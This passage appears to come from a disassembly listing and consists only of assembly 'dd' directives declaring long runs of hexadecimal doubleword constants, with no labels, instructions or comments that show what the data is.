		dd 0B945110Fh, 0A82F5C08h, 46D3132h, 510850C7h,	9D0A1942h
		dd 0B53841E8h, 96939D17h, 7A4C0F6Bh, 5463873Dh,	0DC2FC02Dh
		dd 0DC85516Ah, 0AA2934A9h, 5A50D231h, 0C23F483h, 8E02C380h
		dd 0AE10E9F5h, 9BDC5BA1h, 0E0DB889h, 90CE3F25h,	39EBDB98h
		dd 87B9C9E5h, 199C3660h, 7131BBFAh, 0CC09F0C3h,	214765EEh
		dd 9B9BDB50h, 4F8F0E7h,	1D0AF034h, 32744FD8h, 0DF17DA6Dh
		dd 54302FBh, 5F6837C2h,	620AAA66h, 8947E147h, 0BAABC9FBh
		dd 1E1FC0C7h, 0B681D9A0h, 3C883245h, 583ED51Ch,	2479203Fh
		dd 1D1C1ACFh, 0C31B15EAh, 4C726399h, 0F27B6F99h, 98CF1EBCh
		dd 0F8C6F4DFh, 39A06213h, 2C2A73A2h, 9A9090F3h,	17F33FB3h
		dd 73275C72h, 819F67EEh, 9ECE1E12h, 50B08294h, 605A8E3Eh
		dd 2FCF2B94h, 76128F8Fh, 1CF3DBA1h, 13880D5Fh, 0C8D76967h
		dd 83F65512h, 0D2B80F11h, 33D34E71h, 0AF1BB3D6h, 0CAC3B203h
		dd 475FF1B2h, 0DCE3B4FAh, 5A4F9707h, 27573E2h, 0F85DD6Ah
		dd 0E197877h, 7909AB75h, 1075EF38h, 0F7967571h,	17C99522h
		dd 0E42B0D1Ah, 87A95881h, 94B7250Eh, 9F42F535h,	18644A4h
		dd 0FC552707h, 718F891h, 5790F566h, 45A56690h, 0CA72D3B4h
		dd 265390C2h, 0B4C4391Eh, 59E5AE15h, 6E7D7DE1h,	3DD0A507h
		dd 0BDB98754h, 0F892A348h, 0EDF59CFBh, 0FC85934Ch, 0EB04A8A1h
		dd 4D236CE0h, 184145B1h
		dd 1C2D1B2Ch, 8CF568E4h, 97FBA404h, 0EED111A7h,	0BBA25E39h
		dd 4DC2D46Bh, 0D77805E4h, 2EF05E01h, 0C3F49CF7h, 0E7F91A9Bh
		dd 0AF9B0670h, 2F6F11A9h, 452BB7ABh, 1DC8BD88h,	44B576AEh
		dd 0F9D1D7FCh, 7AB9B744h, 5CD87D0Ah, 0D8F9E5A4h, 0D10D9DCCh
		dd 96DB3082h, 0FD2CE0FCh, 54CD6A60h, 75573182h,	0BE937E96h
		dd 0F5786987h, 4C354E59h, 6D4BF033h, 0A68628Dh,	92C55B4Fh
		dd 7116C968h, 928FE0E8h, 0AE6CE785h, 0EFA5B4F9h, 9781D52h
		dd 0C4D5BCCCh, 15EED7B5h, 61FD67D3h, 20307BCFh,	5FA7A9B2h
		dd 0C32E33E8h, 0A627DD16h, 0C8B51DADh, 0D661534Ah, 356BBB8Eh
		dd 910956B9h, 0F22EF9F7h, 9D3ED4A9h, 0C2112B6Ch, 71A3A5D4h
		dd 748A4EC1h, 0CF9EF1E3h, 0A5C7A64h, 5E5E9E59h,	6C567258h
		dd 0A5A1272Dh, 5BAA4E15h, 0CB4700AAh, 6C3A3FBAh, 1B7B8E87h
		dd 0B651FD1Ah, 5C4378CDh, 214341F5h, 257E5523h,	0C1A8653Dh
		dd 0BE5260D1h, 9E0C1B9Dh, 0C86E00DCh, 951C69F2h, 0A851850Fh
		dd 0CCC8365Bh, 31413D47h, 0D5F0B2C1h, 890EE1BAh, 0C8F7251Ch
		dd 63B3FB27h, 4EF6531Ch, 39C18D8Eh, 5BFCFA18h, 97DC47E0h
		dd 5B6B8A26h, 6F5188D6h, 8D1525D2h, 0D97D045Ch,	3CE3D23Eh
		dd 0B283893Dh, 773EBEECh, 1691EA85h, 3CDC42F8h,	0DBF8ECC8h
		dd 1964BB30h, 4F83E3CFh, 26A193B9h, 236C92F5h, 0AB1BB1A5h
		dd 40B32D59h, 241B4E7Ch, 0C4D3E277h, 0C799A8A9h, 0FCEE1C21h
		dd 54FEC141h, 0A64D27D9h, 0F6D44B27h, 3CF37840h, 83F32BB5h
		dd 6BE592C7h, 0ACDA4857h, 0BD74BC6Fh, 3E9A0204h, 418156ABh
		dd 601A5BE4h, 0F908F41Eh, 2483504h, 6F89C6E8h, 0F88A08BEh
		dd 2E11E07Dh, 7B886F89h, 0C0F175DEh, 9C4DCFDDh,	48113B32h
		dd 0EA063814h, 0B8228E5Eh, 44A8471Bh, 644DB329h, 4723CEE3h
		dd 56B88869h, 0AF23E103h, 0AA0BC21Eh, 0DF89F24h, 0B18727A3h
		dd 0D28CA65Eh, 175B2ED0h, 0A612ED7Dh, 0DE2E0F24h, 0EC5A613Dh
		dd 0F588FFF1h, 4FEE64B0h, 0A5EEA4ECh, 2ADE0521h, 681F41EFh
		dd 1CC6FA61h, 0AE39EEDEh, 0CB789A42h, 61E5D7DAh, 55ED6CD9h
		dd 0D75E3CE4h, 725AA50h, 44F605A3h, 0FF6FBA67h,	2CBBCF11h
		dd 0DD8F32E3h, 269DAC75h, 89046806h, 0A997AEC4h, 0E237A138h
		dd 67DAC5CFh, 73AC8DB2h, 5A3899D1h, 0B089BA05h,	0B4471DB8h
		dd 0A663D9B7h, 946FBF1Ch, 0F39B1029h, 0B99EC0FEh, 2A158129h
		dd 0C7CEF3CDh, 9333A70h, 99FF4D4Dh, 657115CEh, 2E65CB16h
		dd 0A2912F67h, 396B714Dh, 0AFC231DAh, 6F7BD260h, 0EE38D799h
		dd 47A57969h, 8D9E3A8Dh, 0A60377C6h, 5C9728B7h,	8EC1015Ch
		dd 80749848h, 1D0E2030h, 0E39C3F7Fh, 2FAE2D21h,	5936E58Fh
		dd 24A6D71Dh, 0A329FE0Eh, 530CDC7Dh, 670D76C5h,	0B5AB2F59h
		dd 0E4A77184h, 0B700A1Dh, 2CD29100h, 42D463DAh,	1C32EF3Ch
		dd 0FBB5A9Ch, 0BB427BDh, 7BDFD8CDh, 0B0D135DCh,	0C57B48B0h
		dd 9620B97h, 7866848Ah,	0B024391Bh, 0C77CF481h,	2C6A13F3h
		dd 5E32C8D9h, 0D238BA09h, 4E1F5A88h, 6029103Dh,	0A5685FFEh
		dd 3B79E12h, 820D065Fh,	4E474DCAh, 0DAC2A8D8h, 4600E72Ah
		dd 9F775C3Dh, 0B3D923A2h, 534354DEh, 0F7AB76F6h, 0A1C6DB6Ah
		dd 0E7FCC513h, 5303C006h, 0ACD2E908h, 51B1A593h, 3E8912C5h
		dd 52511800h, 945BBA9Fh, 0B015FE2Fh, 88D8C01Ch,	7818B00Ah
		dd 984D6278h, 4723E390h, 44CFD6B0h, 746607C3h, 0DD1E97A8h
		dd 5D17458Fh, 7AEF72A8h, 195A96D8h, 8A086329h, 6C5C6DEFh
		dd 9A9D828Bh, 45EE2D35h, 263B4CF5h, 1C2DCC03h, 0C62C3Ah
		dd 0CFD9392Dh, 0EBD948AFh, 4EE3CF0Eh, 61C4CECh,	687C47C6h
		dd 0B5743649h, 0A05D7212h, 9C6953F8h, 4D9417DDh, 0FCE927E9h
		dd 0C4B888ABh, 0E0766F71h, 0A7D762E1h, 994F6924h, 9899B8DDh
		dd 891654DAh, 46FE0EA4h, 0D9ED8DBCh, 1404AE39h,	65DF6182h
		dd 0A5EDF067h, 0D1C32EC5h, 2E9958A8h, 0D41F315Bh, 0AABC5958h
		dd 0A44D0FBCh, 32944F41h, 6F3D07ADh, 5472AFC4h,	0AC2F2218h
		dd 0D0B910A9h, 0C85799F2h, 7E1D7018h, 3FA1E3C1h, 92F7D9F1h
		dd 1BA6060Ch, 0BFB1F9EFh, 0E5BBEE5Dh, 0C5185256h, 36BA0FEFh
		dd 0A9E68A0Eh, 2DF369FDh, 24B267DDh, 35E386B2h,	0AED12B9Ch
		dd 0C466CDD0h, 0A74D7746h, 0BF7F5A0h, 8B9B2C09h, 399D122Bh
		dd 498F7382h, 7D97789Dh, 7C0B36A4h, 304D006Ch, 9DA92AE4h
		dd 0C4F13C47h, 0DC71A630h, 17B80AFFh, 0DA24F082h, 21211395h
		dd 6B0A2975h, 1629A460h, 16FD8A1Eh, 6F82AE2Fh, 38B2D839h
		dd 7C1EDAE0h, 0A09CB64Eh, 1EBFB76Fh, 0EB9D0C20h, 7334E239h
		dd 35280DD5h, 857859D5h, 92F2CBC5h, 80E989FCh, 0DAB7C745h
		dd 0E9F9F695h, 0C4026F4h, 86A29AA0h, 0E2CAA431h, 348177ACh
		dd 7F3F2CB2h, 5EB645C0h, 6F962C2Ch, 0EC81B65Fh,	0F42C6C85h
		dd 32AEBF15h, 3EF8B68Bh, 17CE9A5Eh, 0FB0E40F3h,	84DA39BDh
		dd 2C462FF8h, 0C5A6CA71h, 3874C07Ah, 0C18987E9h, 2233BBA2h
		dd 150A5096h, 667B9BCAh, 6EB5B70Fh, 977BE1B3h, 0CFA07E49h
		dd 0B32D03B2h, 0C106A0A4h, 0FB388641h, 3850447h, 34736468h
		dd 2FAE6E38h, 0F1F557F6h, 3FF36059h, 54742FDAh,	0D58DD3BDh
		dd 0C225B321h, 0F26D8159h, 80BE220Eh, 0BAD82529h, 4EE24CE7h
		dd 9C87F5AAh, 9FD4C0D8h, 91CA60D3h, 9BCA8498h, 0E3D479C7h
		dd 0E11CD813h, 0BFBF901h, 1DE34184h, 10B5E677h,	69226C5Fh
		dd 41D4E6Fh, 9199A985h,	5C9C85F9h, 741EB232h, 0FE62187Bh
		dd 2D6A9FB5h, 0AA7D8B7Fh, 181731EBh, 26C40073h,	19EE6C55h
		dd 787428BCh, 5B6983Eh,	2B3B5F67h, 0ACD92B5Ah, 247263E5h
		dd 0A7FD7F42h, 0A470F7D1h, 5469796Ch, 85ED897Ah, 0BFEB722Bh
		dd 0A65AB7B5h, 21AAEE95h, 0DD956E7h, 0CDAF0CACh, 0BF93A06Dh
		dd 5C4DE328h, 956798ACh, 81BEF021h, 5CB4DD93h, 9AE4F160h
		dd 8E285F2Dh, 5C5BD1B9h, 46C3C3DEh, 4FFCF178h, 8CCC6936h
		dd 26768E3Dh, 0B8728F07h, 7096ACF6h, 5697947Eh,	8D88CAD0h
		dd 0B4A5FE89h, 0BAD05D98h, 6ED5359h, 0A21513EEh, 0CD396213h
		dd 5C0DFDEDh, 97C32C58h, 9D42A2A7h, 973B0393h, 0E32569B1h
		dd 5B13BD8Dh, 765964E8h, 2C2C5270h, 54D76CB9h, 1FA75E4h
		dd 91B110A5h, 0B225946Ch, 0D74E8929h, 0C0E47B54h, 3F1A249Dh
		dd 0B6FCD896h, 0BA518A77h, 178157CEh, 0A2620ACCh, 146C1833h
		dd 0B3AFA971h, 56E55317h, 0FD74FA7Ch, 533F19A6h, 0EBE46919h
		dd 6A2A8AA9h, 0F0C8DB5h, 3B7D9CE4h, 59379C2Fh, 3B85678h
		dd 0DE65BC25h, 300D35AAh, 0CC1292D8h, 660AC298h, 0DB43D1C6h
		dd 0E2320745h, 0D3F0271Dh, 6DAE7BC8h, 0A7B03A9Ch, 0A5A5DF00h
		dd 111D9D9Dh, 95BB69FCh, 0ABD5515h, 0C9A18019h,	5E557772h
		dd 0F878B5BFh, 54A06DEh, 9CB2E11Fh, 0C5D23B38h,	2464EDB3h
		dd 1C657EBAh, 3885752Fh, 0F1CDFC7Fh, 0B1CEBE00h, 36128F81h
		dd 2573E81Ah, 0D97BF0FEh, 0AB620A0Dh, 9E097983h, 5360D4FEh
		dd 84CE4901h, 54127E3Bh, 0C2C44989h, 80A7A65Fh,	27A00017h
		dd 49C9C671h, 0FE6FE1D7h, 0D1319E86h, 0DC5EC9E4h, 0CD363C6Ah
		dd 0AAD45D57h, 2276F71Ah, 0D5DF3826h, 928A7E58h, 0DE7A2D1Fh
		dd 7BFDA6BBh, 3EAA2D0Dh, 0D4EB94E9h, 9BF7D091h,	0C423675Ah
		dd 73004FDBh, 0E78DFA29h, 0EC186D2Dh, 0A70FF748h, 11D55339h
		dd 6EAC628Fh, 611F5B76h, 0F5C4DD67h, 9CD87CC0h,	4DAC6A16h
		dd 266E0941h, 2ACF340Fh, 0E86D9EC5h, 0F63E5511h, 0D2E65BBAh
		dd 8382F58Dh, 0C1E98C57h
		dd 85E93058h, 0C9D983BFh, 89B3BFD9h, 448A714h, 123DA34Ah
		dd 0BE513753h, 3611EAE6h, 7891053Dh, 976C0639h,	3902939Fh
		dd 711DEFCCh, 0AACF7BBDh, 7EADBCA8h, 0DDF6022Eh, 4EBAE635h
		dd 256E214Eh, 545BD69Ah, 9A16EC66h, 949A0C8Ah, 100A7214h
		dd 551699CDh, 8705E518h, 932A1565h, 26EF0A65h, 1A419395h
		dd 4B1829D0h, 70C403FCh, 4FD486C7h, 0D0988AD9h,	3026DE89h
		dd 0B7D2A9B5h, 57EE3602h, 148F1787h, 20A49F79h,	5969F638h
		dd 9796EA10h, 56BA646Dh, 3436482Dh, 558D672Dh, 2772E97Dh
		dd 7859001Dh, 57278C10h, 0D42AA370h, 0BE7EDDC1h, 84AC7963h
		dd 3177FAE0h, 2C4E07EFh, 6E2236D4h, 3BC13DCBh, 110CF420h
		dd 5CF6880Bh, 1AD4F82Dh, 9490390h, 0B4FEB3A3h, 450BEE6Ch
		dd 2EA5DDECh, 235D72D6h, 46D0EDB0h, 8A5B8A90h, 2AEB2910h
		dd 61B36513h, 4F15E6Dh,	0D2ED9994h, 0F5B29525h,	95AF2466h
		dd 49AB2BA3h, 0BEF5CBC6h, 133BB545h, 626AEB63h,	0BE1FD862h
		dd 7CFC28Eh, 38D20F3Ah,	3C17DE83h, 11C31AD1h, 928B6B9Eh
		dd 0B3C24925h, 17F31D85h, 8B0A0523h, 1FBCCBE9h,	70E5C25h
		dd 6C6C09CDh, 7619B06Ah, 3778383Bh, 0FEB8A0A3h,	5E5812B1h
		dd 570588F9h, 1492F8F3h, 8F0B83C5h, 506261E6h, 25AC0C46h
		dd 0ECAC484Fh, 37C0AE0Dh, 185B0F5Ch, 0BFBFFEAEh, 0AF5023B9h
		dd 0C1532B1Fh, 760BBC67h, 73138492h, 24A40D33h,	0D84758F3h
		dd 154DB9C7h, 8F71DF37h, 6E555403h, 0DACED99Ah,	53224279h
		dd 0B9645599h, 260A8B6Fh, 8097976h, 5C3A444Ah, 0A3EBC6C4h
		dd 981B9346h, 0FCD4377Ch, 5DB3A7BBh, 22008E78h,	0B20FC06Ch
		dd 0FBE0924Fh, 7FC33F2Eh, 0F4E9992Eh, 1A693840h, 0B9E1825Eh
		dd 0BA746AE5h, 49B55B4Ah, 844E69C8h, 0B7B8BC96h, 0D5D851EAh
		dd 0A31A308h, 580BC6D2h, 11638AB6h, 117FB126h, 386760A9h
		dd 0F2A24487h, 0AF6A7C54h, 0E7EA0DFCh, 44093239h, 0D48A96FDh
		dd 8DF9CDEBh, 333EFB5Fh, 0B8478C25h, 0C611CB1h,	0F2E57428h
		dd 5965FAA5h, 8FB85B6Eh, 0B7845B1Fh, 0EAC572A1h, 195EFA3Ah
		dd 0C77DA8C0h, 1176F2E8h, 3486E126h, 15E4F299h,	4143558Fh
		dd 96914AFCh, 71CC139Fh, 62ABBB2Ch, 937CCFB2h, 0F07FA143h
		dd 33721786h, 213685DFh, 487377E0h, 43DB24F8h, 0C1716874h
		dd 21D6831Ch, 0DBB636CFh, 8D2C03h, 143B9765h, 2DC5BC9Ch
		dd 2057A951h, 932C5213h, 1C4FA3EBh, 0BE53E571h,	2D6E878Dh
		dd 0F3428B06h, 57C79EA9h, 0CE04F97Bh, 8427E270h, 32362BCEh
		dd 884A6D31h, 0AC3AFC7Fh, 0F3E56BBh, 0A1F83D6Eh, 0FA4D419Fh
		dd 0FF30D558h, 546815CCh, 0BBA98353h, 6E8631B0h, 30E695EAh
		dd 9EC6033Ah, 6B5FF873h, 501E7C5h, 59EDBCD9h, 0B7A7307h
		dd 6162870Fh, 0D34424A4h, 0FEBAC752h, 0C63E524Fh, 0E033DCA6h
		dd 3F0674D2h, 3E2B3351h, 4B227AB7h, 77158CC9h, 0D7A161F2h
		dd 73ADC776h, 55E4471Ah, 51F9BFA5h, 0AB28D75Dh,	6287E09Ch
		dd 22B1B87Ah, 75C35BBFh, 0DDD59FCCh, 4DF7C748h,	0C9EE77DCh
		dd 0B8467373h, 45DCD05h, 6F855B42h, 5A0D9B3Ah, 8DF982Bh
		dd 19C6C063h, 4366436Ah, 8A89056Dh, 8BC40AFCh, 9E452B71h
		dd 0D6CDEDADh, 0C414E42Fh, 0AEA21AF8h, 0D145C92h, 1727FAA6h
		dd 77803589h, 7DB57386h, 0DF8910FAh, 0A69415A6h, 0CDA94CA5h
		dd 0D3A6DF18h, 0C618A50Eh, 0E887C74Eh, 0BAED8A23h, 0C1D7EB38h
		dd 55A89A25h, 5325EB0h,	0DB1174F3h, 7D575B6Ah, 313199D0h
		dd 44ADF4Ah, 55F99179h,	91273923h, 0D56F2340h, 32AF9B11h
		dd 218FABF7h, 0D1670E83h, 8E1F256Ah, 0CDF6D797h, 40334F00h
		dd 0DB221209h, 0D89EDE87h, 623B2C1Eh, 953278D8h, 0D4A25F58h
		dd 9A2C3564h, 5AC3EE6Dh, 23901E34h, 0A2A442D4h,	0A4571318h
		dd 0FCF9222Dh, 7B1B28B6h, 1496A55Bh, 43ABE138h,	43BFFDB3h
		dd 5565E9CAh, 0F2433833h, 58DD3EE5h, 5A528413h,	0BD3650FFh
		dd 0F6E12E30h, 0EA0684DCh, 6168EB54h, 32BCFD81h, 4E449423h
		dd 12678116h, 6D4045E2h, 359B03FEh, 6DE9001Fh, 3EFFEF3Bh
		dd 0AFFFA474h, 0BB5952AFh, 0E98C8C05h, 0E4D74E09h, 322BDA08h
		dd 9BE9DA0Fh, 414CD3F2h, 86187ADEh, 0D51A069Bh,	0DB20959Ch
		dd 13F75B14h, 8D1F2815h, 0FA793108h, 65A057E0h,	0ABE70A07h
		dd 0EAF889AEh, 0DBBC6F65h, 0F811A747h, 87F371B7h, 0C3BA212Eh
		dd 7E69DDDEh, 2197FEB0h, 0CBA9C8E9h, 8746AEF1h,	660AB2C5h
		dd 0F26E408Eh, 0C1AA42EAh, 61562C65h, 2DF58793h, 5183BD5Bh
		dd 0F34667EAh, 57B4CB87h, 8DA6EDEh, 6F5DC23Dh, 0BD141AE4h
		dd 5A4E999Ah, 0F5C3FC4Ch, 0E3F6143Ch, 1A0E06Ah,	88414CF3h
		dd 924C9544h, 988797F2h, 9BE9AE5Dh, 0A688F869h,	0CC6A8E10h
		dd 1837C0C0h, 672F4A7Fh, 307BEFD4h, 69657E8Ah, 69809B04h
		dd 22F67851h, 0CFDF2DFEh, 381A96F6h, 0CDD78CB0h, 9B2FD05Bh
		dd 86A945FCh, 2092586Ch, 0DE158A98h, 0AC3B3A3Dh, 72EDA51Ah
		dd 6813721Dh, 5D10F4Dh,	0AC982EC4h, 0F0B9C2A5h,	52C97934h
		dd 0F72E429Ch, 2E81E913h, 8987C330h, 0D1FF7C1Dh, 3CC08C5Ch
		dd 775FA70Ch, 3AAA9253h, 78E38CAFh, 0FF948F10h,	0CF6E7980h
		dd 0D5101222h, 4AD43927h, 5659467Fh, 0FC1AC3C0h, 0BDB490D3h
		dd 0A3624803h, 0C6EA3EEAh, 0E99ACC25h, 3377DA6Dh, 0FC2E87C2h
		dd 0E96E3542h, 554CD4DAh, 11798BA7h, 31FB81B1h,	1ADE1C87h
		dd 47B2653Dh, 3F59F84Dh, 2CD2ED86h, 91A2907Ch, 5F2A001Dh
		dd 2C64202h, 0E62625B4h, 89C7984Ah, 43E591EFh, 667B4BBDh
		dd 0A743D199h, 0F6CB5956h, 6C62690Ch, 24A91758h, 13F6311Bh
		dd 610C14E8h, 41A9853Fh, 47141DE7h, 9A77FA68h, 9FB8519Bh
		dd 0D1A6FBF4h, 64C927EFh, 0E8B6BFF1h, 0D0FC6296h, 410DE5E6h
		dd 1EDD90D7h, 0BB2F4E4Dh, 0F15F6FC0h, 364B3B96h, 0AA331436h
		dd 52FF0F7Ch, 1873E2B9h, 0DCC4910h, 3C0DC2DCh, 74F8E381h
		dd 0ED44A769h, 31D39EB0h, 0E52DF6EEh, 828F830Ch, 138BC8FFh
		dd 0F1B6E894h, 0E3A988BBh, 15E804A9h, 0DF5E3786h, 0C480A0A7h
		dd 0B75E18AAh, 5ABDA220h, 12917808h, 1088D294h,	870510F0h
		dd 19E45700h, 4D6BAAD0h, 24B782F3h, 0FC7544A3h,	98E16C82h
		dd 0A6C04571h, 781CB82h, 6EDF66C3h, 98DE510h, 219C1251h
		dd 0E0963AAEh, 8D671A2Ah, 84CE2D53h, 0CEA28953h, 78A868F7h
		dd 91C0BE27h, 5AA63A9Fh, 9866343Ah, 1BC96F84h, 760C274Fh
		dd 20674DFCh, 0A4A9E049h, 0A0898206h, 6B7F8DAAh, 0BEDC77C4h
		dd 4C3875DEh, 0D76A2CD5h, 3971F88Bh, 0C0FFDDF3h, 0A1BD45E2h
		dd 0EBDD5EA9h, 0A48BC3F3h, 61853785h, 78778CF1h, 0B17161E3h
		dd 0F7984EE0h, 1CE5A295h, 86EED07h, 0AA166E69h,	0CA4E99F5h
		dd 33671EB9h, 0FBF34A64h, 81ADD595h, 9E124681h,	0B70BC69Eh
		dd 0A0AE26E7h, 0A9B57585h, 0BAEC9A12h, 40E5B2C4h, 0F0CCF557h
		dd 65A8E414h, 9A65DCCCh, 8810B389h, 0BE5CB1CCh,	90A3EFDBh
		dd 0F0A18EA9h, 897F034Bh, 8274A49Dh, 21732FD1h,	0A12A90DEh
		dd 8FFD4257h, 38E61975h, 0A21AEFB4h, 9FAB5198h,	7B0F00C8h
		dd 158B9772h, 0C45B97EFh, 9A0BAB8Dh, 239F1424h,	0C7B444A4h
		dd 38E41E12h, 22A4AEE7h, 0E6559923h, 0C5D60BCCh, 0C6D112DBh
		dd 15DA3371h, 49DCE8B8h, 0E48444D7h, 32A93E14h,	944226E9h
		dd 1A8C6E1Eh, 165DB33Ch, 0C8F0D4Bh, 0BD1C0433h,	0FB33CEECh
		dd 0D01A3219h, 152B158Ah, 0BFF9644Bh, 0F5855453h, 0C2BA3FA8h
		dd 9F0880BBh, 35FA3DBDh
		dd 65DE6B93h, 6391827Ch, 14560369h, 0EA5A9DADh,	0A80FDBD0h
		dd 4F4B1C8Fh, 6C625AA1h, 0E5500A9Dh, 9072CF1Eh,	3DEE3FDAh
		dd 0B2D3FB04h, 442E2BEEh, 18EF4B5Fh, 0A1A7BECAh, 64B78327h
		dd 95072CA9h, 0F9246314h, 425E06D6h, 9887D30Eh,	83C11C8Dh
		dd 0DA134CF4h, 4D9B87DDh, 0FC6E9E41h, 0F9431EC4h, 1EA24A06h
		dd 7D99E770h, 0EC6EAB07h, 3D10E58Ah, 84A45A80h,	659DD41Eh
		dd 0EBECC630h, 0D13915ADh, 34B5527Ah, 50578FBDh, 0DC46B70Ah
		dd 591718ABh, 0CD830C6Eh, 44E2C178h, 78E57DD2h,	713508Bh
		dd 0DF46751Ch, 0C617CB29h, 99EE4766h, 6952F5C6h, 0BA22621Dh
		dd 0E5E9E51Ch, 0E3DF4D07h, 726B3C47h, 6CC591BEh, 0C974262Ch
		dd 0C8D2B833h, 0CDA8C0B6h, 962AADA0h, 8CF1F3h, 349FB3F6h
		dd 828C932Fh, 0C9C558BFh, 17C40559h, 49DEDF04h,	0A27F9ECEh
		dd 0E531EDC3h, 0FA42B0A0h, 3DB6CEB6h, 0A0E57B2h, 705EA663h
		dd 0D806606h, 1304CC33h, 0F231068Ah, 6B63DA07h,	85E2C92Dh
		dd 59CE2BBDh, 2179DAE3h, 0E22AB621h, 0B013B61h,	38DC044Fh
		dd 0B1A71FEAh, 5245F1CDh, 14EBDF8Bh, 5BB7F460h,	803A768Dh
		dd 0F5D1C2E8h, 4D67711Bh, 0AA13123Dh, 1E443B73h, 0F13BE409h
		dd 175785C5h, 5CB191D6h, 44CAD972h, 0E84FA010h,	6BD1090Ch
		dd 9E0A95A3h, 24E227E6h, 0DBB7361Fh, 3A903A12h,	0DFFB6DE1h
		dd 0CE9A0DF9h, 32274DF0h, 30010937h, 5FC6FA7Fh,	8A0FEA29h
		dd 9C1C8E17h, 93DC6DF2h, 0D70EF697h, 22DB07CEh,	0EDE1FB40h
		dd 0FF1ADA1Dh, 0B753E6C4h, 84DE04BDh, 0B26E5939h, 5A248138h
		dd 6CA655F2h, 185D9BDEh, 245CFE85h, 0C4091B30h,	0C9CB5BF8h
		dd 60A1221Bh, 34C1F531h, 0BC772CB5h, 4F4929A3h,	0A43CB2B5h
		dd 90B38DFh, 684237CBh,	0FE0C880Ah, 0A7C46347h,	9393248Eh
		dd 0BC88E2Ch, 2DE239D5h, 3D0AD352h, 0E4A1E3E3h,	64DA7C43h
		dd 77431C01h, 51C4198Dh, 98AC99FBh, 2DF049E7h, 75BFF18Ah
		dd 0A65AE0Ah, 0E4EE36ABh, 10296CC6h, 0F371BDE9h, 0BDD0A36Fh
		dd 0D6D6AFB3h, 4566E2EEh, 51EBE271h, 0B2B6BF4h,	0D82609D6h
		dd 4243FF02h, 0ED9AA69Bh, 585A9ED5h, 0D0A445AEh, 0A660F512h
		dd 0E898A2D1h, 0FCEC3668h, 5D60F14Fh, 67152F6Bh, 0FB6546F4h
		dd 4066EA6Ch, 0D2CCB0DBh, 0A2F19640h, 7A4F365Dh, 0D4961C54h
		dd 99074788h, 716D28D1h, 76F2D7A2h, 0F6501974h,	6B8FF67Bh
		dd 7A11CFE9h, 1B790F06h, 258D9F5Ch, 0FDA8921Fh,	5C4B191Eh
		dd 0C11C7A57h, 0B229D687h, 0F24164EBh, 95253A6Ch, 4CC57698h
		dd 75B52BD2h, 4903763Ch, 0C62CDA19h, 6634C890h,	0CCD3CBA0h
		dd 0CA737E6Ch, 7C9113Bh, 5068020h, 61982687h, 2B53EF02h
		dd 0EB916073h, 81D69840h, 0EDFDA62Ch, 0CA6FBA81h, 0C7E32E63h
		dd 3AC6589Ah, 0C7783FCEh, 23178413h, 0F4336C07h, 0CD14CF23h
		dd 4D30B6E5h, 719BF8B2h, 3A1F2800h, 0B339A14Ah,	9A9EE80Ch
		dd 0F240BB57h, 5D19B02Dh, 0D24823B7h, 648BBE5Bh, 0A5B3D4D2h
		dd 0D3218005h, 104110EBh, 519C923h, 57E6F9D6h, 74DA85E5h
		dd 326E3BA3h, 0ED7AC647h, 92BA9C55h, 0C700E80h,	64771C18h
		dd 0C4D35D9Ah, 1A7039F0h, 81EB0FF0h, 8F0805EAh,	88A2E4EFh
		dd 85634D0Ch, 6E14E464h, 9E870593h, 1C624B9Fh, 0D33ADB51h
		dd 0D1A7C082h, 5D104A5Bh, 5F866287h, 902E1FA9h,	6B1C6814h
		dd 96E4003Bh, 0A15CD888h, 68ADEC47h, 611E916Eh,	8A46163Ch
		dd 0C2846EDh, 9A1E1EA8h, 7C6D6FD1h, 0C0CDACC0h,	95614692h
		dd 9A458101h, 95E26168h, 0DA2D845Eh, 22E653B1h,	6D59BCCh
		dd 28838ADEh, 0FDE8E01Ch, 179F42A7h, 217B228Ch,	0D16D807Dh
		dd 0F1CA48E5h, 9B606A8Dh, 1E3FB188h, 0E59B865Ah, 9DC2038Ah
		dd 0A9344118h, 6AD7E1B5h, 0DB7B4362h, 43B101AFh, 199BFCF2h
		dd 0DBAD4385h, 0C6ACE79Dh, 0DDC9C8C9h, 0BFD6E08Eh, 0CC944222h
		dd 0D0837850h, 20DAF146h, 81C7E29Fh, 6BE56E04h,	0ED13BC57h
		dd 28E3409Eh, 9EF97400h, 0BA18E295h, 864C0657h,	0DA481232h
		dd 0A8E27144h, 8A5B8279h, 0A3A94FA5h, 26ECA1BBh, 0B5CE49A3h
		dd 0D04A2C27h, 0BFD73AB9h, 0E882C37Dh, 0FD2EE601h, 0D2E6A307h
		dd 5B6754F8h, 0F3CCA454h, 0BA841CA7h, 0FB155023h, 74FFD71Eh
		dd 0A3C9BEA9h, 75130D08h, 0E38E60D1h, 0DB709C9Ah, 38903940h
		dd 0B5E82BFBh, 0EC30B514h, 904962DEh, 0D1CA365Bh, 0BB82A78Dh
		dd 0DF0A0C2Bh, 0F4E4618Fh, 0CE33C8Dh, 9F716D0Eh, 17DE9127h
		dd 0C88484Dh, 42CEE89Bh, 0A263A341h, 8E7BEA72h,	9CF0D88Eh
		dd 0FD4F8CFDh, 99B41628h, 0AF3952B0h, 6C91DF84h, 2204A187h
		dd 22568E11h, 0F2B7B7FFh, 0AC499A45h, 0CDA22A23h, 0B5E955ECh
		dd 42CA5E70h, 77A5F88Bh, 7B695244h, 30D3EA63h, 6CE42FA0h
		dd 3EF02001h, 0D7E70367h, 9309C35Eh, 0D7D16565h, 219839C0h
		dd 0F657A06Ch, 0A32913D2h, 640594A9h, 119BD950h, 278DBA80h
		dd 0AF158EECh, 3736FDC7h, 71DE3283h, 4BCCE281h,	0F361804Bh
		dd 55E99873h, 618B5C1Eh, 798F9AB8h, 8D06F4A5h, 690D8567h
		dd 3C18B74Bh, 0A2B6D3Fh, 1D65E7BFh, 0BA358C08h,	0FA4C90F0h
		dd 269C8270h, 6D03BEF0h, 0DE75A1DCh, 0B98854EEh, 8ADB1410h
		dd 0C20EBA1Ah, 1C6BD182h, 0BAEDC4F3h, 30972486h, 8B026779h
		dd 41605C71h, 871247EFh, 0FAE5892Dh, 73F8D173h,	0ECF00EF5h
		dd 0C138A46Eh, 0ABF312F7h, 0EF875B09h, 57453504h, 11609F95h
		dd 86EF17F0h, 0E8B31CE9h, 8D55F9EDh, 0B0D51EB6h, 0D33BB45Ah
		dd 0A3377E00h, 0BD0C7227h, 0A79596E8h, 8F316995h, 9AC3AE80h
		dd 0E42F4049h, 0A58D277Ah, 4E207F5Eh, 0CEF89D8Ah, 232AA42Ah
		dd 0DA6BB1F1h, 0BE88A5BFh, 0B56B584h, 7E2B17C8h, 0CC1301B8h
